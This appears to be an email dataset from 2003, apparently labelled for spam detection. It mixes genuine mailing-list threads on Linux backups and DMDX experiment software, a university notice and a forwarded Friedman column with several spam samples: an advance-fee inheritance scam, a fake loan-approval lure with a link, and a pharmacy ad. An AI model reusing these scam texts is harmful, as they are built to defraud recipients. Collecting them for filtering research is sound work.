windows machines on the berkeley astro network. It's not particularly sophisticated, but gets the job done. You can run rsync in a mode where it will only copy over files that have been modified since some previous checkpoint and you can specify that it create a copy of the older version automatically. I'm still on the look out for a better solution though. - Colby --------------------------------------------------------------------- James Colby Kraybill Radio Astronomy Laboratory colby@astro.berkeley.edu University of California, Berkeley On Mon, 11 Aug 2003, Henry Roe wrote: > > > So, I've web searched and found a variety of options, but I'm curious > if anyone here has advice on a backup solution for linux? > > (I have been doing rather haphazard writes of DVD+RW's of various > directories when I think of it and want to get something more > systematic going.) > > The system has several large (2x 70gig, 1x 15gig) hard drives and the backup > media will be DVD+R (or DVD+RW), which are 4.7gig. > The system is running RH8. > > The ideal backup system would let me do a global backup and then allow > incremental backups each night (i.e. pop a blank dvd in the drive as I leave). > > Anyone have any good ideas? > > thanks! > -Henry > ",0,0 leonard@astro.berkeley.edu,hroe@astron.Berkeley.EDU,"Mon, 11 Aug 2003 18:50:16 -0700",Re: linux backup solutions?," Hi Henry -- The solution I've been using for the last 3 years is admittedly old fashioned, but it has gotten the job done for me so far. I just use the old ""tar"" command, which allows you to make incremental backups based on the modification times of files. That is, I first create a complete gzipped tarball backup of my entire directory structure as root: tar --atime-preserve -pzcvf - * | cat > backup.tar.gz You can of course have the 'backup.tar.gz' file written to any directory (or media). Then, whenever I want to make an incremental backup: tar --newer-mtime 20030619 --atime-preserve -pzcvf - * | cat > backup.20030620.tar.gz --> This command creates a gzipped compressed tar file that contains the --> entire directory structure of the parent directory, but only the *files* --> that have been modified since (and including) the date indicated after --> the ""--newer-mtime"" in the tar command. Although I'm of course interested in any slicker ideas that are out there, this backup method did successfully allow me to recover from one painful hard disk crash last year. -Doug ",0,0 Robert Fisher ,leonard@astron.Berkeley.EDU,"Mon, 11 Aug 2003 21:50:21 -0700",Re: linux backup solutions?,"Doug : An elegant and simple solution. One note -- on many unix platforms (Solaris included), some utilities, including tar, cannot handle arbitrary-sized files. The file size can be relatively small -- of order a gigabyte, which will definitely have an impact on making backups. However, Gnu's version of tar (named, appropriately, gtar) does not have this limitation. Lest someone be confronted with an unpleasant surprise when attempting to recover a backup corrupted by the finite-size limitation of tar, I would recommend first testing their version of tar installed against a large junk file. Best, Bob On Monday, August 11, 2003, at 06:50 PM, leonard@astron.Berkeley.EDU wrote: > hroe@astron.Berkeley.EDU ",0,0 """hadji.mohammed01"" ","""hadji.mohammed01"" ","Tue, 12 Aug 2003 07:12:40 +0200",Compliments,"Dear Sir, It is my hope that you receive this letter in a good frame of mind and in confidence. This is an extension of friendship, trust and a plea for assistance. I have been thrown into a dire state with recent events leading to the death of my son who was also my sole financier. But I thank Allah that my son did not leave completely helpless and hopeless without making provisions for my welfare. He indeed passed away leaving a very good fortune behind which should adequately meet all my financial needs. With my failing health, I am unable to help myself out of this situation and so I seek your assistance to help me claim this fortune and pull me out of my terrible situation. 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Accédez au courrier électronique de La Poste : www.laposte.net ; 3615 LAPOSTENET (0,34€/mn) ; tél : 08 92 68 13 50 (0,34€/mn) ",1,0 Cheryl Frenck-Mestre ,DMDX@psy1.psych.arizona.edu,"Wed, 13 Aug 2003 16:48:02 +0200",[DMDX] RE: Re: Using a Gamepad in DMDX,"ma chere Kaita, qu'est-ce que tu fous, pardon 'fait' ici? gg -----Message d'origine----- De : DMDX-owner@psy1.psych.arizona.edu [mailto:DMDX-owner@psy1.psych.arizona.edu]De la part de Katia Duscherer Envoye : mardi 12 aout 2003 01:09 A : DMDX@psy1.psych.arizona.edu Objet : [DMDX] Re: Using a Gamepad in DMDX I know that when using my game pad i have to provide as the exact name with parenthesis and trademark included... be perhaps careful that you *see* the whole name when using Time DX. Good luck, Katia ==================================================================== Send mail to DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by itself with no quotes in the body of the email to be removed from the list. The list archive is available here: http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread ====================================================================",0,1 Nan Jiang ,DMDX@psy1.psych.arizona.edu,"Wed, 13 Aug 2003 12:08:24 -0400",[DMDX] Re: Using a Gamepad in DMDX,"Hi, Regarding the gamepad, I think I know what the problem is now but don't know if there is a way around it. In TimeDX, the device name is ""Microsoft SideWinder Game Pad USB"". There is a superscript Register symbol after the first two words in the name. I added the R symbol in the item file, but DMDX does not recognize it. As a result, there is a mismatch between what is showing in TimeDX and what is recognized by DMDX. So I am still getting the selection failed message. I think this may be the cause of the problem. Is there a way to resolve it? Help appreciated. Nan Jiang +++++++++++++++++++++++++++ Nan Jiang, Ph.D. Assistant Professor Department of Applied Linguistics Georgia State University njiang@gsu.edu http://www.gsu.edu/~eslnxj 404-651-2936 +++++++++++++++++++++++++++ >>> jforster@psy1.psych.arizona.edu 08/11/03 04:12PM >>> At 03:23 PM 8/11/2003 -0400, you wrote: >Hi There, > I have been trying to get a gamepad (Microsoft Sidewinder) to work with > DMDX or vice versa. Here is what happened: >a. went to TimeDX, saw the device there as ""Microsoft SideWinder Game Pad >USB"" listed after Mouse and Keyboard, as it was already highlighted, >clicked on test, it read ""Device is pooled (0.019 ms) time base 1 ms"" and >the nine buttons were also shown in the textbox below. >b. wrote a test item file that included the command SideWinder Game Pad USB""> ... on the parameter line, >c. when I ran the test file, I received a message saying >Input Devide selection failed. >d. I also tried different names including >which is the name of the hardware for the game pad when I check the >computer's hardware, I kept receiving the same message. Without having a device here I can't say. I can use the ""logitech cordless USB mouse"" here so I don't think it's anything to do with USB or long device names. My guess is that you'll have to carefully check that the name you provide in the input file is exactly the name TimeDX provides, like perhaps it's GamePad and not Game Pad, perhaps you've got two spaces instead of one some place. Case doesn't matter. Perhaps that opening fancy quote is screwing things up, you can always look at rtfparsed.txt to get an idea, the quotes should be gone there. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Did you know that if you took all the economists in the world and lined them up end to end, they'd still point in the wrong direction? ==================================================================== Send mail to DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by itself with no quotes in the body of the email to be removed from the list. The list archive is available here: http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread ====================================================================",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Wed, 13 Aug 2003 10:32:12 -0700",[DMDX] Re: Using a Gamepad in DMDX,"At 12:08 PM 8/13/2003 -0400, you wrote: >Hi, > Regarding the gamepad, I think I know what the problem is now but > don't know if there is a way around it. > In TimeDX, the device name is ""Microsoft SideWinder Game Pad USB"". > There is a superscript Register symbol after the first two words in the > name. I added the R symbol in the item file, but DMDX does not recognize > it. As a result, there is a mismatch between what is showing in TimeDX > and what is recognized by DMDX. So I am still getting the selection > failed message. I think this may be the cause of the problem. > Is there a way to resolve it? Help appreciated. That would certainly be stopping it. I can try adding code that strips out unusual characters but without an example we can probably expect a few iterations before I guess correctly. Might have something ready later on today, it's bedlam around here right now -- perhaps some people will start to actually allow Windows Update to update their machines instead of just postponing it... /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Justice is incidental to law and order. - J. Edgar Hoover ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Wed, 13 Aug 2003 12:25:13 -0700",[DMDX] Re: Using a Gamepad in DMDX," Ok, there's a DMDX.EXE in http://www.u.arizona.edu/~jforster/dmdx/DmDX3022.zip. It's not an installer, simply an executable that you should use instead of the usual DMDX.EXE living in Program Files / DMDX. Try it and see if you can map your MS device. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Justice is incidental to law and order. - J. Edgar Hoover ",0,1 Nan Jiang ,DMDX@psy1.psych.arizona.edu,"Wed, 13 Aug 2003 15:42:31 -0400",[DMDX] Re: Using a Gamepad in DMDX,"I am still getting the selection failed message. a copy of the diagnostics file is attached. Thanks for help. Nan Jiang +++++++++++++++++++++++++++ Nan Jiang, Ph.D. Assistant Professor Department of Applied Linguistics Georgia State University njiang@gsu.edu http://www.gsu.edu/~eslnxj 404-651-2936 +++++++++++++++++++++++++++ >>> jforster@psy1.psych.arizona.edu 08/13/03 03:25PM >>> Ok, there's a DMDX.EXE in http://www.u.arizona.edu/~jforster/dmdx/DmDX3022.zip . It's not an installer, simply an executable that you should use instead of the usual DMDX.EXE living in Program Files / DMDX. Try it and see if you can map your MS device. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Justice is incidental to law and order. - J. Edgar Hoover ==================================================================== Send mail to DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by itself with no quotes in the body of the email to be removed from the list. The list archive is available here: http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread ==================================================================== ",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Wed, 13 Aug 2003 13:18:08 -0700",[DMDX] Re: Using a Gamepad in DMDX,"Ok, there's another one to try. It's got more diagnostics now. At 03:42 PM 8/13/2003 -0400, you wrote: >I am still getting the selection failed message. a copy of the diagnostics >file is attached. Thanks for help. Nan Jiang > >+++++++++++++++++++++++++++ >Nan Jiang, Ph.D. >Assistant Professor >Department of Applied Linguistics >Georgia State University >njiang@gsu.edu >http://www.gsu.edu/~eslnxj >404-651-2936 >+++++++++++++++++++++++++++ > > >>> jforster@psy1.psych.arizona.edu 08/13/03 03:25PM >>> > >Ok, there's a DMDX.EXE in >http://www.u.arizona.edu/~jforster/dmdx/DmDX3022.zip >. It's not an >installer, simply an executable that you should use instead of the usual >DMDX.EXE living in Program Files / DMDX. Try it and see if you can map >your MS device. > >/""\\ >-jonathan (j.c.f.) \\ / >X >ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > >Justice is incidental to law and order. > >- J. Edgar Hoover > > >==================================================================== >Send mail to >DMDX-request@psy1.psych.arizona.edu >with the word >'unsubscribe' by itself with no quotes in the body of the email >to be removed from the list. The list archive is available here: >http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > >==================================================================== /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Justice is incidental to law and order. - J. Edgar Hoover",0,1 """Shannon S. Marcum"" ",XXX@XXXXXXXX.XXXXXXX.XXX,"Wed, 13 Aug 2003 13:07:58 -0600",RERE: Loan Application 06wz,"Dear Homeowner, XXX@XXXXXXXX.XXXXXXX.XXX http://feabc.com You have been approved for a $ 988,565 house loan (2.9 fixed) This offer is being presented to you right now!. Your credit history is in no way a factor. To take advantage of this Limited Time Opportunity, please take a minute and confirm your curiosity or intention to accept this loan, at the following web-site: http://feabc.comL Best Regards Don Nut Loan Manager http://feabc.com/redirect XXX@XXXXXXXX.XXXXXXX.XXX wrote: > Yours loan is approved 9h5s6b36sf ",1,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Thu, 14 Aug 2003 11:54:30 -0700",[DMDX] Intel i845 chipset :(," Well I gotta say I sure as hell am unimpressed with the Intel i845 chipset which unfortunately we're going to be finding in a lot of computers. The computers in question here are Celeron 2 GHz machines with Biostar motherboards but I don't think the problem is specific to them, I think it's the i845 chipset. The problem manifests in the TimeDX Time Video Mode where you can see that 50% or more of the retraces are Multiply Missed Retraces, looking at the detail I can see that when the retrace thread wants to sleep for some number of milliseconds it's almost always 15.6 milliseconds before it gets control again. Regardless of whether it wants to sleep for one millisecond or anything else it asks for. So of course it misses an awful lot of retraces. Which is not too bad using 60 Hz displays but we'd like to use 100 Hz and arbitrarily loosing control for 15 ms makes tracking the retrace none too accurate. The machines will probably run most experiments reasonably well but when you've got a machine that should be flawless it's irritating. We're running XP on them, it's possible (if not very likely) that other OSes are fine. If people care to check whether they've got i845 chipsets in any recent machines they've purchased they can do so by examining the properties of My Computer then looking on the Hardware tab using the Device Manager and in it expanding the System Devices tree. In there you should see two devices, ""Intel(R) 82845G"" followed by copious other identifiers. It's the 845 part after the 82 that tells us what chipset there is in there. If people see this 845 I'd be obliged if they could check the TimeDX Time Video Mode test, specifically the ""slept fox xx.xx (xx)"" data after clicking Do Test. The xx.xx is the actual time slept for and the (xx) is the time requested. If anyone else sees egregious discrepancies I'd like to know about it. I've tried all manner of things from removing a swapping video cards to unplugging as much as I can from the machine to applying the latest chipset drivers from Intel and the timing faults are still present. I'll be trying DX9 as I notice that isn't installed yet and I'm running out of other things to change. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Justice is incidental to law and order. - J. Edgar Hoover ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Thu, 14 Aug 2003 12:02:52 -0700",[DMDX] gamepad," Also I notice I forgot to add punctuation as valid characters in a parsed DI device name so anyone testing this should get another copy (this one's 3.0.2.4). /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Justice is incidental to law and order. - J. Edgar Hoover ",0,0 """Patrick M. Heaton"" ","faculty@eng.fsu.edu, staff@eng.fsu.edu, krameto@eng.fsu.edu","Thu, 14 Aug 2003 12:42:34 -0400",5 Important Things You Should Know Before the Fall Semester from The FSU Career Center,"Greetings College of Engineering Faculty & Staff! The Fall Semester is a less then two weeks away and there is important information I would like to share with you from The FSU Career Center and our Satellite Placement Office at the College of Engineering. 1. There will be three career expos. sponsored by FSU held during the Fall 2003 Semester: 1) Engineering Day 2003- Thurday, Sept 18 at the College of Engineering 9 to Noon & 1 to 4. 2) Seminole Futures- Friday, Sept 19 at the Civic Center 9 to Noon & 1 to 4 3) The Grad School & Law Expo- Monday, Oct 13 at the Woodward Union Plaza 9 to 1. These expos are open to all FAMU & FSU Students, Faculty, Staff, and Alumni. Information about participating organizations can be found on-line at www.career.fsu.edu under the correct link found on the right of your screen. Please pass this information on to your students of all levels and use the opportunity to network and share the good things going on at the College of Engineering. Remember to tell your students they should attend all expos because some employers will only attend one and they don't want to miss opportunities! 2. The FSU Career Center now encourages all FSU Students to register with the Career Center on-line via Seminole CareerNet. This formally links the student to career development information & programming. It is especially important that students in their junior and senior years register, as it is required for those wanting to participate in on-campus fulltime and internship interviewing, FSU’s Resume Books, Job Search Agents, Mock Interviewing, and Job Listing. Information and steps are available on-line. Please direct all your students to www.career.fsu.edu for more information or to our office. 3. There is now a new SENIOR SITE for FSU’s Graduating Seminoles. Please refer Seniors to www.seniors.fsu.edu for information and help on job searching, on-campus interviewing, grad school application, career fairs, and more! Help your students start planning early and with a smooth post FSU transition. 4. The Career Center is available to do workshops or short presentations in your classes. If you would like us to speak on: Job Searching, Interviewing, Resume Writing, Second Interviewing, Transition from College to Work, The FSU Career Portfolio, or more… please contact me at pheaton@admin.fsu.edu or 644-8625/410-6171. In addition to scheduling your own workshop or brief Career Center Overview in your course, please refer students to the following workshops at the College of Engineering: Wednesday, September 10, 6pm: Resume Writing - A125 Tuesday, September 16, 6pm: Expo Success Strategies – A125 Wednesday, October 1, 6pm: Interviewing Skills – A125 Tuesday, October 14, 6pm: Career Portfolio – A125 Wednesday, November 19, 6pm: CC Overview/Career Portfolio – A125 5. All FSU & FAMU Engineering Students & Faculty now have access to the FSU Career Portfolio at www.career.fsu.edu. More information and instructions on this helpful tool go to www.portfolio.fsu.edu If you have any question or would like to schedule a Career Center Overview or workshop for your class please contact me at anytime. Enjoy the semester! Patrick Heaton Assistant Director, FSU Career Placement 850/644-8625 or 850/410-6171 pheaton@admin.fsu.edu ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Thu, 14 Aug 2003 14:18:36 -0700",[DMDX] Fwd: RE: Intel i845 chipset :(,"Hmm, sounds like problem is more wide spread. Guess I'll have to do some DMDX benching to see if this is really affecting DMDX or whether it's just TimeDX. TimeDX actually represents a pretty stressful workload compared to DMDX as it generates a whole new screen of info as often as it can and on a quick processor that's every tick. Also I guess more specificity is required. The two devices that identify the main chipset (the north bridge) have ""Processor to AGP Controller"" and ""Processor to I/O Controller"" in the name. Devices with 801 in them are the south bridge chipset and while I see them in the poorly functioning machines I also see them in the development box that is flawless, it's main chipset AGP ID is E7000 and I/O ID is E7205. >X-Sender: jforster@jforster.inbox.email.arizona.edu >X-Mailer: QUALCOMM Windows Eudora Version 5.1 >Date: Thu, 14 Aug 2003 14:09:31 -0700 >To: jforster@psy1.psych.arizona.edu >From: ""Matthew Finkbeiner"" (by way of ""Jonathan C. >Forster"" ) >Subject: RE: [DMDX] Intel i845 chipset :( >X-Virus-Scanned: by amavisd-new at email.arizona.edu > >I've got the same exact pattern of data on our machines here (XP, P4, >with chipset Intel 82801), and they have DX9. > > > > > -----Original Message----- > > From: DMDX-owner@psy1.psych.arizona.edu > > [mailto:DMDX-owner@psy1.psych.arizona.edu] On Behalf Of > > Jonathan C. Forster > > Sent: Thursday, August 14, 2003 1:55 PM > > To: DMDX@psy1.psych.arizona.edu > > Subject: [DMDX] Intel i845 chipset :( > > > > > > > > Well I gotta say I sure as hell am unimpressed with the Intel i845 > > chipset which unfortunately we're going to be finding in a lot of > > computers. The computers in question here are Celeron 2 GHz > > machines with > > Biostar motherboards but I don't think the problem is > > specific to them, I > > think it's the i845 chipset. The problem manifests in the > > TimeDX Time > > Video Mode where you can see that 50% or more of the retraces > > are Multiply > > Missed Retraces, looking at the detail I can see that when > > the retrace > > thread wants to sleep for some number of milliseconds it's > > almost always > > 15.6 milliseconds before it gets control again. Regardless > > of whether it > > wants to sleep for one millisecond or anything else it asks > > for. So of > > course it misses an awful lot of retraces. Which is not too > > bad using 60 > > Hz displays but we'd like to use 100 Hz and arbitrarily > > loosing control for > > 15 ms makes tracking the retrace none too accurate. The > > machines will > > probably run most experiments reasonably well but when you've > > got a machine > > that should be flawless it's irritating. We're running XP on > > them, it's > > possible (if not very likely) that other OSes are fine. > > > > If people care to check whether they've got i845 chipsets > > in any recent > > machines they've purchased they can do so by examining the > > properties of My > > Computer then looking on the Hardware tab using the Device > > Manager and in > > it expanding the System Devices tree. In there you should > > see two devices, > > ""Intel(R) 82845G"" followed by copious other identifiers. > > It's the 845 part > > after the 82 that tells us what chipset there is in there. > > If people see > > this 845 I'd be obliged if they could check the TimeDX Time > > Video Mode > > test, specifically the ""slept fox xx.xx (xx)"" data after clicking Do > > Test. The xx.xx is the actual time slept for and the (xx) is > > the time > > requested. If anyone else sees egregious discrepancies I'd > > like to know > > about it. I've tried all manner of things from removing a > > swapping video > > cards to unplugging as much as I can from the machine to applying the > > latest chipset drivers from Intel and the timing faults are still > > present. I'll be trying DX9 as I notice that isn't installed > > yet and I'm > > running out of other things to change. > > > > /""\\ > > -jonathan (j.c.f.) \\ / > > X > > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > > > Justice is incidental to law and order. > > > > - J. Edgar Hoover > > > > > > ==================================================================== > > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > > 'unsubscribe' by itself with no quotes in the body of the email > > to be removed from the list. The list archive is available here: > > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > > ==================================================================== > > /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Justice is incidental to law and order. - J. Edgar Hoover",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Thu, 14 Aug 2003 15:46:30 -0700",[DMDX] Re: Fwd: RE: Intel i845 chipset :(,"Having run some DMDX benchmarks they certainly reinforce the notion that there's no substitute for raw horsepower. Even with the badly behaved device driver or whatever it is DMDX still displays quite demanding tachistoscopic sequences without errors (20 1 tick frames in a row), even at 100 Hz. At 02:18 PM 8/14/2003 -0700, you wrote: > Hmm, sounds like problem is more wide spread. Guess I'll have to do > some DMDX benching to see if this is really affecting DMDX or whether > it's just TimeDX. TimeDX actually represents a pretty stressful workload > compared to DMDX as it generates a whole new screen of info as often as > it can and on a quick processor that's every tick. > > Also I guess more specificity is required. The two devices that > identify the main chipset (the north bridge) have ""Processor to AGP > Controller"" and ""Processor to I/O Controller"" in the name. Devices with > 801 in them are the south bridge chipset and while I see them in the > poorly functioning machines I also see them in the development box that > is flawless, it's main chipset AGP ID is E7000 and I/O ID is E7205. > > >>X-Sender: jforster@jforster.inbox.email.arizona.edu >>X-Mailer: QUALCOMM Windows Eudora Version 5.1 >>Date: Thu, 14 Aug 2003 14:09:31 -0700 >>To: jforster@psy1.psych.arizona.edu >>From: ""Matthew Finkbeiner"" (by way of ""Jonathan C. >>Forster"" ) >>Subject: RE: [DMDX] Intel i845 chipset :( >>X-Virus-Scanned: by amavisd-new at email.arizona.edu >> >>I've got the same exact pattern of data on our machines here (XP, P4, >>with chipset Intel 82801), and they have DX9. >> >> >> >> > -----Original Message----- >> > From: DMDX-owner@psy1.psych.arizona.edu >> > [mailto:DMDX-owner@psy1.psych.arizona.edu] On Behalf Of >> > Jonathan C. Forster >> > Sent: Thursday, August 14, 2003 1:55 PM >> > To: DMDX@psy1.psych.arizona.edu >> > Subject: [DMDX] Intel i845 chipset :( >> > >> > >> > >> > Well I gotta say I sure as hell am unimpressed with the Intel i845 >> > chipset which unfortunately we're going to be finding in a lot of >> > computers. The computers in question here are Celeron 2 GHz >> > machines with >> > Biostar motherboards but I don't think the problem is >> > specific to them, I >> > think it's the i845 chipset. The problem manifests in the >> > TimeDX Time >> > Video Mode where you can see that 50% or more of the retraces >> > are Multiply >> > Missed Retraces, looking at the detail I can see that when >> > the retrace >> > thread wants to sleep for some number of milliseconds it's >> > almost always >> > 15.6 milliseconds before it gets control again. Regardless >> > of whether it >> > wants to sleep for one millisecond or anything else it asks >> > for. So of >> > course it misses an awful lot of retraces. Which is not too >> > bad using 60 >> > Hz displays but we'd like to use 100 Hz and arbitrarily >> > loosing control for >> > 15 ms makes tracking the retrace none too accurate. The >> > machines will >> > probably run most experiments reasonably well but when you've >> > got a machine >> > that should be flawless it's irritating. We're running XP on >> > them, it's >> > possible (if not very likely) that other OSes are fine. >> > >> > If people care to check whether they've got i845 chipsets >> > in any recent >> > machines they've purchased they can do so by examining the >> > properties of My >> > Computer then looking on the Hardware tab using the Device >> > Manager and in >> > it expanding the System Devices tree. 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As I believe my column demonstrated, that judgement is amply justified for the first seven decades or so of the Fed's existence. I am glad to report that it is not valid for the period since. * * * The basic responsibility of the Federal Reserve is to produce as close an approximation as possible to price stability. Chart 1 provides evidence on how well it has performed that function. It plots for each quarter the annual rate of inflation in a comprehensive price index -- the deflator used to calculate real GDP. The contrast between the periods before and after the middle of the 1980s is remarkable. Before, it is like a chart of the temperature in a room without a thermostat in a location with very variable climate; after, it is like the temperature in the same room but with a reasonably good though not perfect thermostat, and one that is set to a gradually declining temperature. Sometime around 1985, the Fed appears to have acquired the thermostat that it had been seeking the whole of its life. A convenient way to explain the Fed's problem is with a truism called the quantity equation of money: the quantity of money (M) times the velocity of circulation (V) equals the price level (P) times output (y), MV=Py. The Fed does not control directly any of the variables in this equation. For all practical purposes, the Fed controls one thing and one thing only: the volume of its own obligations -- that is, high-powered money or the base. (The Fed controls the amount of high-powered money through open-market operations: when it buys securities, it adds to the base; when it sells securities, it subtracts from the base. In addition, the Fed can change the discount rate and, to some extent, reserve requirements. But those powers are of minor importance compared to open-market operations and serve only to obfuscate the analysis.) Control over the base enables the Fed, if it chooses to do so, to control within narrow limits any one of a number of monetary aggregates, such as M1, M2 or M3 (corresponding to each aggregate, there is a matching velocity). Its control over these is absolute. It could make the chosen aggregate rise or fall at the annual rate of 2% or 5% or 10%, or you name it, not day by day or week to week but certainly quarter to quarter and year to year. Control over the base also enables the Fed to peg any of a number of interest rates, such as the federal-funds rate or the three-month Treasury bill rate. In practice, the Fed employs a changeable peg of the federal-funds rate as its operating instrument. It pegs the fund rate by open-market operations, in the process determining the rate of monetary growth. To keep prices stable, the Fed must see to it that the quantity of money changes in such a way as to offset movements in velocity and output. Velocity is ordinarily very stable, fluctuating only mildly and rather randomly around a mild long-term trend from year to year. So long as that is the case, changes in prices (inflation or deflation) are dominated by what happens to the quantity of money per unit of output. Prior to the 1980s, the Fed got into trouble because it generated wide fluctuations in monetary growth per unit of output. Far from promoting price stability, it was itself a major source of instability, as Chart 1 illustrates. Yet since the mid '80s, it has managed to control the money supply in such a way as to offset changes not only in output but also in velocity. This sounds easy but it is not -- because of the long time lag between changes in money and in prices. It takes something like two years for a change in monetary growth to affect significantly the behavior of prices. The improvement in performance is all the more remarkable because velocity behaved atypically, rising sharply from 1990 to 1997 and then declining sharply -- a veritable bubble in velocity. Chart 2 shows what happened. Velocity peaked in 1997 at nearly 20% above its trend value and then fell sharply, returning to its trend value in the second quarter of 2003. The relatively low and stable inflation for this period documented in Chart 1 means that the Fed successfully offset both the decline in the demand for money (the rise in V) before 1973 and the subsequent increase in the demand for money. During the rise in velocity from 1988 to 1997, the Fed kept monetary growth down to 3.2% a year; during the subsequent decline in velocity, it boosted monetary growth to 7.5% a year. Some economists have expressed concern that recent high rates of monetary growth have created a monetary overhang that threatens future inflation. The chart indicates that is not the case. Velocity is precisely back to trend. There is as yet no overhang to be concerned about. The obvious question: whence the new thermostat? Why just then? Given the near coincidence of the improved behavior and Alan Greenspan's tenure as chairman of the Fed, it is tempting to conclude that Mr. Greenspan was the new thermostat. I am a great admirer of Alan Greenspan and he deserves much credit for the improvement in performance, yet this simple explanation is not tenable. It is contradicted by the simultaneous improvement in the control of inflation by many central banks at about the same time, including the central banks of New Zealand, the United Kingdom, Canada, Sweden, Australia, and still others. Many of these central banks adopted a policy known as inflation targeting, under which they specified a narrow target range for inflation -- 1% to 3%, for example. But inflation targeting and non-inflation targeting central banks did about equally well in controlling inflation, so explicit inflation targeting is not the answer. Yet it does, I believe, suggest the answer. Central banks the world over performed badly prior to the '80s not because they lacked the capacity to do better, but because they pursued the wrong goals according to a wrong theory. Keynes had taught them that the quantity of money did not matter, that what mattered was autonomous spending and the multiplier, that the role of monetary policy was to keep interest rates low to promote investment and thereby full employment. Inflation, according to this vision, was produced primarily by pressures on cost that could best be restrained by direct controls on prices and wages. That Keynesian vision was thoroughly discredited by experience in the '70s and '80s. It has since been replaced by what has become known as New Keynesian Economics, which incorporates some key quantity theory (monetarist) propositions: that inflation is always and everywhere a monetary phenomenon; that monetary policy has important effects on real magnitudes in the short run but no important effects in the long run (the long run Phillips curve is vertical), the crucial function of a central bank is to produce price stability, interpreted as a low and relatively steady recorded rate of inflation. Once the banks adopted price stability as their primary goal, they were able to improve their performance drastically. * * * Admittedly, this is an oversimplification. The accumulation of empirical evidence on monetary phenomena, improved understanding of monetary theory, and many other phenomena doubtless played a role. But I believe they were nowhere near as important as the shift in the theoretical paradigm. The MV=Py key to a good thermostat was there all along. Mr. Friedman, a Nobel laureate in economics, is a senior research fellow at the Hoover Institution. URL for this article: http://online.wsj.com/article/0,,SB106125694925954100,00.html Updated August 19, 2003 Copyright 2003 Dow Jones & Company, Inc. All Rights Reserved Printing, distribution, and use of this material is governed by your Subscription agreement and Copyright laws. For information about subscribing go to http://www.wsj.com Gary Grasso Benjamin Schlesinger and Associates, Inc. The Bethesda Gateway 7201 Wisconsin Avenue, Suite 740 Bethesda, MD 20814 (301) 951-7266 Fax (301) 951-3381 ggrasso@BSAenergy.com www.BSAenergy.com",0,1 Zelma Huckabee ,Hope ,"Wed, 20 Aug 2003 00:40:33 +0800",viagra! !only! !2.65each! ,"This site is growing in popularity thanks in large part to its discount pricing. The pricing at this site is unbelievably affordable compared to your local pharmacy. Prompt delivery is guaranteed for your satisfaction. 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I can't cut and paste the error message of course because the first time I hit a key it goes away, but basically when I run DmDX and run Testmode.rtf or tachtest.rtf it says there's no registry key for 640x480x8bpp 0Hz. I did all the stuff in TimeDX and selected 640x480x16 75Hz and that's what's in the registry. I even ran TimeDX and selected the 0Hz. That's in the registry. Ran all of the Advanced Timing tests and everything else I could find and still have the same problem. If I run features.rtf I get a blank white screen and it sits there doing nothing. My system is a P4 2.4GHz with Geforce MX440 and Geforce MX440SE cards running Windows XP. Yes, I did select the correct display adapter, yes the timing tests all run fine in TimeDX. There are actually 3 display drivers showing up in TimeDX: 0 Primary Display Driver 1 NVIDIA GeForce4 MX 440 2 NVIDIA GeForce4 MX 440-SE If I run regedit and look at the registry keys I see that I have the entries that I selected in TimeDX. One thing I'm not clear on is why DmDX is insisting on using a video mode that I did not select. Is this a problem with using multiple displays? Am I misreading the instructions? Mark Boettcher Programmer/Analyst, Psychology Dept. University of Canterbury Christchurch, New Zealand ",0,0 Mark Boettcher ,DMDX@psy1.psych.arizona.edu,"Thu, 21 Aug 2003 13:09:24 +1200",[DMDX] DmDX script automation," I recently started a new job working for the psyc department in my local university as a software engineer and one of the first tasks I have to accomplish is to set up an experiment in Associative Priming for a class. From the description of the problems and the solutions in DmDX it looks almost identical to the way I imagined doing it (using DirectX and timing raster interrupts using QueryPerformanceCounter()) if I were to write this from scratch. The commercial software they've used here in the past (I won't mention the name) looks like it just uses the WM_TIMER for timing and I'd be surprised if it has less than 30 ms of slop which doesn't seem very desirable for RT testing to my pea brained view of psychological testing. I have a couple of questions for anyone who has some experience with DmDX in real life: 1. What's the learning curve like for the average, mostly-computer-literate PhD in Psychology? 2. Would you recommend it as a teaching tool or just for research or for both? 3. On the off chance that I manage to get DmDX running properly on my machine, has anyone gotten around to writing a front-end that makes script generation a little easier? 4. Can anybody with experience with other tools such as SuperLab provide some comparisons with DmDX? Mark Boettcher Programmer/Analyst, Psychology Dept. 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I ve searched >the mailing list archive and seen almost identical problems, but no fix. I >can t cut and paste the error message of course because the first time I >hit a key it goes away, but basically when I run DmDX and run Testmode.rtf >or tachtest.rtf it says there s no registry key for 640x480x8bpp 0Hz. I >did all the stuff in TimeDX and selected 640x480x16 75Hz and that s what s >in the registry. I even ran TimeDX and selected the 0Hz. That s in the >registry. ... >If I 